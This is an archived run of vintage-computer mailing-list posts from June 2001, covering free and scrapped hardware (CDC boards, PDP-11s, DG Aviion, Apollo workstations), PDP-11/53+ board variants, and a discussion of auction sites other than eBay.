<3.0.5.32.20010604165639.007d2100@yellow.ucdavis.edu> <3.0.5.32.20010604165639.007d2100@yellow.ucdavis.edu> <3.0.5.32.20010605083802.007cb480@yellow.ucdavis.edu> Message-ID: <001d01c0edf7$f53d1560$9cc762d8@idcomm.com> I'm not disappointed, since the board has lots of socketed components, and I evaluated and paid for it on the basis of those socketed components. I'll keep the board that Jeff didn't want in case someone needs one at some future date, or in case there's a part on there that I have to have at midnight some Saturday night. Dick ----- Original Message ----- From: "Edwin P. Groot" To: Sent: Tuesday, June 05, 2001 9:38 AM Subject: Re: 3.5" MFM hard disk > I'm not interested in the data separator board. I don't have any HD > controllers for my Z-100. > Edwin > > At 08:53 PM 6/4/2001 -0400, you wrote: > >> I have a couple of Z-100s. What's a data deparator board?? > > > > The circuit card that mounts on top of the hard disk, used in > >conjunction with the S-100 bus hard disk controller. > > > > Jeff > > From rdd at smart.net Tue Jun 5 15:23:26 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:14 2005 Subject: Free CDC boards Message-ID: In the spirit of avoiding E-bay, I'm offering a stack of CDC controller boards scavenged from three or four washing-machine sized drives that a former employer scrapped. Note: These boards were in the trunk of my car while it sat for a few months and mice got inside, so they'll need to be cleaned up a bit. Still, it would be a sham to see them go to waste. I haven't space for them. Any takers? (locally preferred, but I can ship them) -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com/rdd beliefs and to justify much human cruelty. From ard at p850ug1.demon.co.uk Tue Jun 5 13:38:51 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:14 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out In-Reply-To: <5.1.0.14.1.20010604214806.00aa3ec0@mailhost.intellistar.net> from "joe" at Jun 4, 1 09:52:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 976 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010605/75814a8d/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 5 13:40:09 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:14 2005 Subject: Tantalum Popcorn - What to do (Was In-Reply-To: <004f01c0ed69$fd69eb20$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 4, 1 08:48:24 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 368 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010605/d784cc1f/attachment.ksh From dogas at bellsouth.net Tue Jun 5 16:12:37 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:14 2005 Subject: Faith in new finds... References: <991756182.3b1cff96cca5a@email.ou.edu> Message-ID: <007401c0ee04$4011c480$6adb3fd0@DOMAIN> About a half a year ago I gave away my newly found first HP-41CX calculator to a buddy that really digs things HP so the joy given outweighed the loss lost. And you know, things turn up again... With that, I turned a corner at last weekends fleamarket and found a 41CV, X Functions Pac, piggyback mag- strip reader/writer, ps, *many* strips, and a thermal printer for a buck. Is there an emerging religion in all this? Who cares... Woo hoo! ;) Mike: dogas@bellsouth.net From jss at ou.edu Tue Jun 5 16:32:47 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11 stuff in Stamford, CT Message-ID: <991776767.3b1d4fff5928e@email.ou.edu> I just saw this in the info-pdp11 list, and I knew there would be some of us on this list interested. If I lived closer, I would be truckin' once again. I'm just the messenger here; please respond to the guy below. His e-mail addy is fcs_smith@snet.net -- you must remove the 1111 from what is listed below. -- Jeffrey S. Sharp jss@ou.edu ----- BEGIN FORWARDED MESSAGE ----- Forwarded message from Kelvin Smith Date: Tue, 05 Jun 2001 16:18:06 -0400 From: Kelvin Smith Reply-To: Kelvin Smith Subject: Equipment in Stamford, CT To: info-pdp11@village.org It's a nostalgic occasion, but we're clearing out our PDP-11 equipment. The following equipment is available in Stamford, CT (35 miles from New York City): 11/84 with 1024 KW memory (2) 11/44 with 512 KW memory (4) UDA50 BA11 expansion box (2) RA90 in SA600-XA cabinet RA81 TU81+ H9647 cabinet H9645 cabinet (200) 9-track tapes, 2400' & 3600', bulk-erased (2) 120-tape racks LA120 (with ribbons) LA100 (with ribbons) cables, including heavy-duty extension power cords with circular plugs All are available for best offer, except that minimum price on the 11/84 is $100 (I've got an offer on that). I'll consider offers to take equipment just for the cost of shipping & packaging (or by picking it up here), as that potentially saves me carting stuff to a dump/recycler, and keeps perfectly good equipment in good hands. All items were working as of a year ago, when we switched to Ersatz-11 on a PC. Kelvin Smith Financial Computer Systems Stamford, CT (203) 357-0504 (remove 1111 for e-mail) ----- END FORWARDED MESSAGE ----- From optimus at canit.se Tue Jun 5 18:32:52 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:14 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <00ac01c0ed60$0daf4ed0$12779a8d@ajp166> Message-ID: <756.557T2600T326705optimus@canit.se> ajp166 skrev: >From: John Allain >>> ...OE users, ditch OE... >> >>I certainly wouldn't reccomend 'O' over 'OE'. It was slower >>and creepier, ie more complex and Even Less Open than >>OE as if that was possible. PS pick Format>Plain Text >> or Tools>Options>Send>Plain Text depending >> on where you are. AAaack Pbffftttttffff! >I'm not thrilled either. I could use Netscrap Communicator >but it tends to crash. Not a good thing. For someone as experienced as you, you certainly have a limited imagination. Do you really think that there are only two email clients for Windows, one of which is actually a web browser? -- En ligne avec Thor 2.6a. Ky?suke: Jag heter Kurre, Kurre Carlsson! Jag: Det heter du inte alls! From rhblake at bigfoot.com Tue Jun 5 18:07:05 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <3B1D1B51.1D6980EB@rain.org> Message-ID: What ever happened to "haggle" - is it still around and wasn't a member of the list the owner/operator of it? > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Marvin > Sent: Tuesday, June 05, 2001 12:48 PM > To: classiccmp@classiccmp.org > Subject: Another Auction Site > > > > A new site has just opened up, http://www.sellyouritem.com. I've been > thinking for a while that it would be a good idea to have an auction site > for listmembers. This site > currently has little traffic, and would make a GREAT semi-private :) site > for listmembers to sell their stuff to mostly other listmembers. > One of our > members is currently listing some stuff on the computer:classic area at > http://www.sellyouritem.com/ListAuctions.html?CategoryID=1497. From jeff.kaneko at juno.com Tue Jun 5 18:23:49 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:14 2005 Subject: Free CDC boards Message-ID: <20010605.182349.-16390939.0.jeff.kaneko@juno.com> I have a bunch of these too, but they're NOS. I got read/write heads even, plus the service manual/docs. They're for the CDC 'Phoenix' class drives. I'm gonna have to melt 'em if nobody wants 'em. Jeff On Tue, 5 Jun 2001 16:23:26 -0400 (EDT) "R. D. Davis" writes: > > In the spirit of avoiding E-bay, I'm offering a stack of CDC > controller boards scavenged from three or four washing-machine sized > drives that a former employer scrapped. > > Note: These boards were in the trunk of my car while it sat for a > few > months and mice got inside, so they'll need to be cleaned up a bit. > Still, it would be a sham to see them go to waste. I haven't space > for them. Any takers? (locally preferred, but I can ship them) > > -- > Copyright (C) 2001 R. D. Davis The difference between humans & other > animals: > All Rights Reserved an unnatural belief that we're above > Nature & > rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to > justify such > http://www.perqlogic.com/rdd beliefs and to justify much human > cruelty. > ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From donm at cts.com Tue Jun 5 18:36:54 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:14 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out th ere? In-Reply-To: <5.1.0.14.1.20010604214806.00aa3ec0@mailhost.intellistar.net> Message-ID: On Mon, 4 Jun 2001, joe wrote: > Hi Mike, > > I have a LOADED 4051 and a IBM 5100. I have ALL the toys for the 4051 > including the Altair-like front panel that was used for maintenance. I > also both of the optional 8" floppy drives. The 4662 is a plotter isn't > it? I think that's the model number of the one that I have. Both? Should be three - one in the 4907 cabinet with the controller and two more in the expansion box. Or is that what you meant? - don > What the heck is a 4025?? I might be interested it. My wife makes > frequent trips to KC. In fact, she's out there now. > > Joe > > At 09:49 AM 6/4/01 -0500, you wrote: > >I recovered a Tektronix 4025 that still had a 3M style cartridge tape in the > >drive. Its a storage tube model, green screen and it works. The only > >problem is that the external case is missing. The keyboard and monitor > >bezel are there just the rest of the case is gone. I've had it in storage > >and I'd like to transfer it to someone who can appreciate it and maybe > >repair it. > >I'm in Kansas City > > > >Mike McFadden > >mmcfadden@cmh.edu > > From ip500 at home.com Tue Jun 5 18:48:09 2001 From: ip500 at home.com (Craig Smith) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site References: Message-ID: <3B1D6FB9.4813BAA4@home.com> Haggle.com is still around but pretty pitiful! I just took a look and 99% of the items seem to have ZERO bids and very few have more than 10 looks even. Even "hot" consumer stuff like laptops didn't seem to draw any lookers. Must be tough to try and take on eBay ...even if you offer free listings ... who cares if there are no bidders??? Craig Russ Blakeman wrote: > > What ever happened to "haggle" - is it still around and wasn't a member of > the list the owner/operator of it? > > > -----Original Message----- > > From: owner-classiccmp@classiccmp.org > > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Marvin > > Sent: Tuesday, June 05, 2001 12:48 PM > > To: classiccmp@classiccmp.org > > Subject: Another Auction Site > > > > > > > > A new site has just opened up, http://www.sellyouritem.com. I've been > > thinking for a while that it would be a good idea to have an auction site > > for listmembers. This site > > currently has little traffic, and would make a GREAT semi-private :) site > > for listmembers to sell their stuff to mostly other listmembers. > > One of our > > members is currently listing some stuff on the computer:classic area at > > http://www.sellyouritem.com/ListAuctions.html?CategoryID=1497. From rdd at smart.net Tue Jun 5 19:26:24 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:14 2005 Subject: Free CDC boards In-Reply-To: <20010605.182349.-16390939.0.jeff.kaneko@juno.com> Message-ID: On Tue, 5 Jun 2001, Jeffrey l Kaneko wrote: > They're for the CDC 'Phoenix' class drives. > > I'm gonna have to melt 'em if nobody wants 'em. :-( Giving the situation more thought, I guess it no one claims my mouse-attacked CDC boards, I'll put these boards on the lawn, use the garden hose to hose them off good and then spray them with Lysol... probably won't hurt them. I just hate to see them scrapped. Meanwhile, of anyone wants to claim them and save me the trouble of de-mousing them, please come and get them! :-) -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com/rdd beliefs and to justify much human cruelty. From rigdonj at intellistar.net Tue Jun 5 19:36:23 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:14 2005 Subject: Rescue: *NEW* DG Aviion Message-ID: <5.1.0.14.1.20010605202621.00a0bb20@mailhost.intellistar.net> I stopped at a scrap place today and found a NEW DG Aviion that they're getting ready to scrap. This appears to be brand new and complete. It's clean and looks like it's in perfect condition. It's very sharp looking! I talked to them and they are interested in selling it as an intact unit so if anyone is intersted contact me directly and I'll give you the contact information. I don't know what they want for it but their prices are generally very reasonable. This is a big unit. It's over 6 feet tall and is the size of a large refrigerator. I think the model number on it is D11003-7. Does anyone have the specs on it? No, I can't buy it and store it or ship it to you. I don't have the space, time or money. Sorry. The people that have it are in an industrial area and have forklifts and such so they can load it or arrange shipping. It's located in Melbourne, Florida. Joe From blacklord at telstra.com Tue Jun 5 19:41:59 2001 From: blacklord at telstra.com (blacklord) Date: Sun Feb 27 19:04:14 2005 Subject: old date plz Message-ID: <4229f433d9.433d94229f@bigpond.com> ----- Original Message ----- From: ard@p850ug1.demon.co.uk (Tony Duell) Date: Saturday, June 2, 2001 3:20 am Subject: Re: old date plz > AFAIK, there was never an internal hard disk for the PPC640 series > -- > there's no obvious way to add one, anyway (no internal bus > connectors for > the controller). So without a boot disk it's not going to do very > much. > Have you tried making an MS-DOS 3.3 boot disk (720K, 3.5") and > booting > from that? My Amstrad PPC (640K, 2 floppies) boots fine from such > a disk Actually, when I was working for a company in Sydney (when the PPC512's & PPC640's came out), we did manage to interface a drive to 'em, it's a *very* tight squeeze, but you can fit them in. BL ---------------- Powered by telstra.com From gessler at ucla.edu Tue Jun 5 19:52:03 2001 From: gessler at ucla.edu (Nick Gessler) Date: Sun Feb 27 19:04:14 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out th ere? In-Reply-To: <5.1.0.14.1.20010604214806.00aa3ec0@mailhost.intellistar.ne t> References: Message-ID: <5.0.2.1.0.20010605175050.024c52c0@pop.bol.ucla.edu> Hi Joe, Are you interested in parting with any of these? (My guess is that the 4025 is really a 4052.) I teach computational geography at UCLA and would like these to work on and show my students. Cheers, Nick At 09:52 PM 6/4/01 -0400, you wrote: >Hi Mike, > > I have a LOADED 4051 and a IBM 5100. I have ALL the toys for the 4051 > including the Altair-like front panel that was used for maintenance. I > also both of the optional 8" floppy drives. The 4662 is a plotter isn't > it? I think that's the model number of the one that I have. > > What the heck is a 4025?? I might be interested it. My wife makes > frequent trips to KC. In fact, she's out there now. > > Joe > >At 09:49 AM 6/4/01 -0500, you wrote: >>I recovered a Tektronix 4025 that still had a 3M style cartridge tape in the >>drive. Its a storage tube model, green screen and it works. The only >>problem is that the external case is missing. The keyboard and monitor >>bezel are there just the rest of the case is gone. I've had it in storage >>and I'd like to transfer it to someone who can appreciate it and maybe >>repair it. >>I'm in Kansas City >> >>Mike McFadden >>mmcfadden@cmh.edu Nicholas Gessler gessler@ucla.edu Box 706, 22148 Monte Vista Drive Topanga, CA 90290-0706 310.455.1630 (home office) 310.825.4728 (UCLA office) 310.825.7428 (UCLA fax) Special Projects, UCLA Center for Digital Humanities Founding Co-Director, UCLA Center for Computational Social Science Instructor, Geography, Computational Cartography In preparation - "Artificial Culture - Experiments in Synthetic Anthropology." Web Portal: http://www.bol.ucla.edu/~gessler From rhblake at bigfoot.com Tue Jun 5 19:53:02 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <3B1D6FB9.4813BAA4@home.com> Message-ID: Hmm, maybe it's a buyer's market then and my son needs a laptop for use in his Frieghtliner (x-country trucker). > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Craig Smith > Sent: Tuesday, June 05, 2001 6:48 PM > To: classiccmp@classiccmp.org > Subject: Re: Another Auction Site > > > Haggle.com is still around but pretty pitiful! I just took > a look and > 99% of the items seem to have ZERO bids and very few have more than 10 > looks even. Even "hot" consumer stuff like laptops didn't seem to draw > any lookers. Must be tough to try and take on eBay ...even if you offer > free listings ... who cares if there are no bidders??? > Craig > > Russ Blakeman wrote: > > > > What ever happened to "haggle" - is it still around and wasn't > a member of > > the list the owner/operator of it? > > > > > -----Original Message----- > > > From: owner-classiccmp@classiccmp.org > > > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Marvin > > > Sent: Tuesday, June 05, 2001 12:48 PM > > > To: classiccmp@classiccmp.org > > > Subject: Another Auction Site > > > > > > > > > > > > A new site has just opened up, http://www.sellyouritem.com. I've been > > > thinking for a while that it would be a good idea to have an > auction site > > > for listmembers. This site > > > currently has little traffic, and would make a GREAT > semi-private :) site > > > for listmembers to sell their stuff to mostly other listmembers. > > > One of our > > > members is currently listing some stuff on the > computer:classic area at > > > http://www.sellyouritem.com/ListAuctions.html?CategoryID=1497. From dittman at dittman.net Tue Jun 5 20:48:57 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers Message-ID: <200106060148.f561mvA06192@narnia.int.dittman.net> Does anyone have the jumpers for a PDP-11/53+ CPU board? -- Eric Dittman dittman@dittman.net From ethan_dicks at yahoo.com Tue Jun 5 20:56:49 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:14 2005 Subject: Flaming DECpacks (was Re: Tantalum Popcorn - What to do (Was) In-Reply-To: Message-ID: <20010606015649.34228.qmail@web9507.mail.yahoo.com> --- Tony Duell wrote: > The fans in DEC RK05 drives are also quite good at starting flames when > the insulation starts to break down (as has happened to at least one of > mine).... I have heard of such things - that fan can really feed the flames. Are there any tips for precheckout of an RK05 drive? -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From healyzh at aracnet.com Tue Jun 5 21:03:51 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <200106060148.f561mvA06192@narnia.int.dittman.net> from "Eric Dittman" at Jun 05, 2001 08:48:57 PM Message-ID: <200106060203.f5623pg27494@shell1.aracnet.com> > Does anyone have the jumpers for a PDP-11/53+ CPU board? > -- > Eric Dittman > dittman@dittman.net This is a FAQ, and sadly no one seems to, either on the list or elsewhere. If anyone has them I need them also. Zane From ajp166 at bellatlantic.net Tue Jun 5 21:37:33 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers Message-ID: <00cd01c0ee32$b7f84310$ec779a8d@ajp166> Isn't the 11/53 the box name and the cpu being either an 11/73 or 11/23B? All the 11/53s I've seen had 11/23B cpus (M8189). Allison -----Original Message----- From: healyzh@aracnet.com To: classiccmp@classiccmp.org Date: Tuesday, June 05, 2001 10:34 PM Subject: Re: PDP-11/53+ Jumpers >> Does anyone have the jumpers for a PDP-11/53+ CPU board? >> -- >> Eric Dittman >> dittman@dittman.net > >This is a FAQ, and sadly no one seems to, either on the list or elsewhere. >If anyone has them I need them also. > > Zane > From marvin at rain.org Tue Jun 5 22:13:49 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site References: <3B1D6FB9.4813BAA4@home.com> Message-ID: <3B1D9FED.AAB24816@rain.org> The idea here is NOT to take on Ebay or any other site, but rather have a place where listmembers can bid on items offered to the list first, before it goes out to an auction "venue" that has more people. Craig Smith wrote: > > Haggle.com is still around but pretty pitiful! I just took a look and > 99% of the items seem to have ZERO bids and very few have more than 10 > looks even. Even "hot" consumer stuff like laptops didn't seem to draw > any lookers. Must be tough to try and take on eBay ...even if you offer > free listings ... who cares if there are no bidders??? > Craig > > Russ Blakeman wrote: > > > > What ever happened to "haggle" - is it still around and wasn't a member of > > the list the owner/operator of it? > > > > > -----Original Message----- > > > From: owner-classiccmp@classiccmp.org > > > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Marvin > > > Sent: Tuesday, June 05, 2001 12:48 PM > > > To: classiccmp@classiccmp.org > > > Subject: Another Auction Site > > > > > > > > > > > > A new site has just opened up, http://www.sellyouritem.com. I've been > > > thinking for a while that it would be a good idea to have an auction site > > > for listmembers. This site > > > currently has little traffic, and would make a GREAT semi-private :) site > > > for listmembers to sell their stuff to mostly other listmembers. > > > One of our > > > members is currently listing some stuff on the computer:classic area at > > > http://www.sellyouritem.com/ListAuctions.html?CategoryID=1497. From healyzh at aracnet.com Tue Jun 5 22:21:08 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <00cd01c0ee32$b7f84310$ec779a8d@ajp166> from "ajp166" at Jun 05, 2001 10:37:33 PM Message-ID: <200106060321.f563L8030228@shell1.aracnet.com> > Isn't the 11/53 the box name and the cpu being either an 11/73 > or 11/23B? All the 11/53s I've seen had 11/23B cpus (M8189). > > Allison I believe all the boards listed below are the various varients of the /53 and /53+. It was commonly used in DECservers 550's which explains the LAT ROMs listed on some of them. One of those can be converted to a PDP-11/53 by replacing the ROMs with PDP-11/53 ROMs. Logically with the memory onboard it should be faster than a /73, however, IIRC, there is something about it that makes it slower. Zane M7554 KDJ11-DA Q J11 CPU 15MHz, 512-Kbyte RAM, 2 SLUs, LTC M7554 Refs: EK-KDJ1D-UG M7554-01 KDJ11-DA Q J11 CPU 15MHz, 512-Kbyte RAM, 2 SLUs, LTC (VE) M7554-01 Refs: EK-KDJ1D-UG M7554-02 KDJ11-DB Q 11/53-PLUS CPU M7554-02 (J11 15MHz, 1.5-Mbyte RAM, 2 SLU, LTC) M7554-02 Refs: EK-KDJ1D-UG M7554-04 KDJ11-DD Q J11 CPU 18MHz, 1.5-Mbyte RAM, 2 SLUs (CSS) M7554-04 Refs: EK-KDJ1D-UG M7554-PA KDJ11-SA Q J11 CPU 15MHz, 512-Kbyte RAM, 2 SLUs, S-box handle M7554-PA Refs: EK-KDJ1D-UG M7554-PB KDJ11-SB Q J11 CPU 18MHz, 512-Kbyte RAM, 2 SLUs, LAT PROM, M7554-PB S-box handle M7554-PB Refs: EK-KDJ1D-UG M7554-PC CMR53-AA Q J11 CPU 18MHz, 512-Kbyte RAM, 2 SLUs, S-box handle M7554-PC CMR53 boot PROM M7554-PC Refs: EK-KDJ1D-UG M7554-SA KDJ11-SA Q J11 CPU 15MHz, 512-Kbyte RAM, 2 SLUs, S-box handle M7554-SA (VE) M7554-SA Refs: EK-KDJ1D-UG M7554-SC KDJ11-SC Q J11 CPU 15MHz, 512-Kbyte RAM, 2 SLUs, S-box handle M7554-SC (VE) M7554-SC Refs: EK-KDJ1D-UG M7554-SD KDJ11-SD Q J11 CPU 18MHz, 1.5-Mbyte RAM, LAT ROM, S-box handle M7554-SD Refs: EK-KDJ1D-UG M7554-SE KDJ11-SE Q J11 CPU 18MHz, 1.5-Mbyte RAM, 2 SLUs, LTC, M7554-SE S-box handle M7554-SE Refs: EK-KDJ1D-UG M7554-YA KDJ11-SA Q J11 CPU 15MHz, 512-Kbyte RAM, 2 SLUs, LTC, M7554-YA no handle M7554-YA Refs: EK-KDJ1D-UG M7554-YB KDJ11-SB Q J11 CPU 15MHz, 512-Kbyte RAM, 2 SLUs, LAT PROMs, M7554-YB no handle M7554-YB Refs: EK-KDJ1D-UG From foo at siconic.com Tue Jun 5 22:20:04 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <3B1D1B51.1D6980EB@rain.org> Message-ID: On Tue, 5 Jun 2001, Marvin wrote: > A new site has just opened up, http://www.sellyouritem.com. I've been > thinking for a while that it would be a good idea to have an auction > site for listmembers. This site currently has little traffic, and > would make a GREAT semi-private :) site for listmembers to sell their > stuff to mostly other listmembers. One of our members is currently > listing some stuff on the computer:classic area at > http://www.sellyouritem.com/ListAuctions.html?CategoryID=1497. Cool, but I'm just wondering why anyone in their right mind would attempt to compete with eBay at this point? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From marvin at rain.org Tue Jun 5 23:34:12 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site References: Message-ID: <3B1DB2C4.22CE5742@rain.org> Sellam Ismail wrote: > > On Tue, 5 Jun 2001, Marvin wrote: > > > A new site has just opened up, http://www.sellyouritem.com. I've been > > thinking for a while that it would be a good idea to have an auction > > site for listmembers. This site currently has little traffic, and > > would make a GREAT semi-private :) site for listmembers to sell their > > Cool, but I'm just wondering why anyone in their right mind would attempt > to compete with eBay at this point? I fully agree!!!!! Going head to head against ebay is the height of stupidity at this point. However Ebay is continuing to do some pretty stupid things that are getting a number of sellers pretty pissed off. They are probably hoping to pick up enough business from that fallout to stay in business. From cmcmanis at mcmanis.com Tue Jun 5 23:42:46 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: References: <3B1D1B51.1D6980EB@rain.org> Message-ID: <5.0.0.25.2.20010605214106.02064970@208.226.86.10> At 08:20 PM 6/5/01 -0700, Sellam wrote: >Cool, but I'm just wondering why anyone in their right mind would attempt >to compete with eBay at this point? Well Ebay is starting to become a lot less friendly. For one you can't search for crap in the completed auctions, you can't figure out easily if some bidder id is a shill be getting their email address, and they are eliminating links (including your own images) in their listings (so you have to pay more to list your item if you have pictures) All in all they are becoming vulnerable. --Chuck From elecdata at kcinter.net Wed Jun 6 01:41:54 2001 From: elecdata at kcinter.net (bill claussen) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site References: Message-ID: <3B1DD0B2.C11095BE@kcinter.net> Hello Folks, SellYourItem.com isn't competition to Ebay or anyother big site, but rather an alternative to Ebay that is moving away from the small seller to the corp seller. SellYourItem.com is the old GoldsAuction.com that went under last year. I was a cheerleader for Golds that can be evidenced at auctionwatch under my online moniker of Elecdata1. If I can be of any help please let me know! And No I am not an ower or anything else, just a fan of the software and seller. Bill Claussen elecdata1 Sellam Ismail wrote: > On Tue, 5 Jun 2001, Marvin wrote: > > > A new site has just opened up, http://www.sellyouritem.com. I've been > > thinking for a while that it would be a good idea to have an auction > > site for listmembers. This site currently has little traffic, and > > would make a GREAT semi-private :) site for listmembers to sell their > > stuff to mostly other listmembers. One of our members is currently > > listing some stuff on the computer:classic area at > > http://www.sellyouritem.com/ListAuctions.html?CategoryID=1497. > > Cool, but I'm just wondering why anyone in their right mind would attempt > to compete with eBay at this point? > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org From bdc at world.std.com Tue Jun 5 23:48:23 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <3B1D9FED.AAB24816@rain.org> Message-ID: On Tue, 5 Jun 2001, Marvin wrote: > The idea here is NOT to take on Ebay or any other site, but rather have a > place where listmembers can bid on items offered to the list first, before > it goes out to an auction "venue" that has more people. Given the recent exchanges about this group's distaste for eBay auctions, I've been thinking about this idea as well. It sounds like this group could use its own private site which maybe offered auctions along the lines of what I would sometimes see in USENET newsgroups. Basically one where everyone submits their bids (blindly) by some certain time and date, and the highest bidder wins. This avoids sniping. Another interesting idea would be to setup something that allows for equipment bartering. Each user could have a list of things they want to get rid of, and things they are looking to acquire. The details of how the exchange would proceed are still a bit fuzzy, but it'd be an interesting project for the ClassicCmp community. -brian. From mikeford at socal.rr.com Wed Jun 6 00:14:51 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:14 2005 Subject: Apollo 725/50 in SoCal In-Reply-To: References: <003801c0ed68$f5d60700$9cc762d8@idcomm.com> <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> <003801c0ed68$f5d60700$9cc762d8@idcomm.com> Message-ID: I picked up and picked through all the Apollo 725/50 systems in the scrap yard today, and surprizingly ended up with 5 very complete systems (4 I brought home, and 1 I setup for another guy at the yard). Most likely I will only keep one or two, so if you are in the SoCal area, email me before eBay strikes. All were pretty nice, but I kept the best of the lot, at least 64 MB ram, 1 GB drives, and weird SCSI floppies (Teac FD235HF with a daughter card). A couple have big video cards, one has some card by Raster Ops, and all have what I think are (3) EISA slots (those two level of contacts things, that I think I have network cards for. The 2094A monitors were too big and heavy for me to take any, but I suspect they will be around a couple more weeks. Construction quality on these is quite impressive. From dittman at dittman.net Wed Jun 6 00:42:40 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:14 2005 Subject: Another Auction Site In-Reply-To: <3B1DB2C4.22CE5742@rain.org> from "Marvin" at Jun 05, 2001 09:34:12 PM Message-ID: <200106060542.f565geJ06916@narnia.int.dittman.net> > Sellam Ismail wrote: > > > > On Tue, 5 Jun 2001, Marvin wrote: > > > > > A new site has just opened up, http://www.sellyouritem.com. I've been > > > thinking for a while that it would be a good idea to have an auction > > > site for listmembers. This site currently has little traffic, and > > > would make a GREAT semi-private :) site for listmembers to sell their > > > > Cool, but I'm just wondering why anyone in their right mind would attempt > > to compete with eBay at this point? > > I fully agree!!!!! Going head to head against ebay is the height of > stupidity at this point. However Ebay is continuing to do some pretty stupid > things that are getting a number of sellers pretty pissed off. They are > probably hoping to pick up enough business from that fallout to stay in > business. eBay is where Napster was right before the fall; everyone used Napster because everyone used Napster. After Napster ran into problems and started filtering people went elsewhere because Napster wasn't what they wanted. eBay is changing. They've changed and grown in the past, but people were either happy with the changes or they could live with the changes. But now eBay is starting to restrict the users more and more, and people are starting to ask around for alternatives. One thing that's really upset me about eBay is they no longer allow people to see other's email addresses. Just the other day I wanted to ask a seller about their listing, but I couldn't because eBay had a problem with the feature to send a message to the seller. Fortunately eBay warned me that the feature wasn't working. I would not have been surprised had I not received a warning and the user had not received my question. The frequent downtimes are a pain, but the biggest pain is that almost all the sellers use eBay because everyone uses eBay. Because of that, if you are looking for some odd part and nobody you can ask has the part, eBay is about your only option. -- Eric Dittman dittman@dittman.net From jkunz at unixag-kl.fh-kl.de Wed Jun 6 01:54:20 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:14 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <200106060321.f563L8030228@shell1.aracnet.com> Message-ID: <200106060654.IAA14432@unixag-kl.fh-kl.de> On 5 Jun, healyzh@aracnet.com wrote: > Logically with the memory onboard it should be faster than a /73, however, > IIRC, there is something about it that makes it slower. The /73 has 8k cache. -- tsch??, Jochen Homepage: 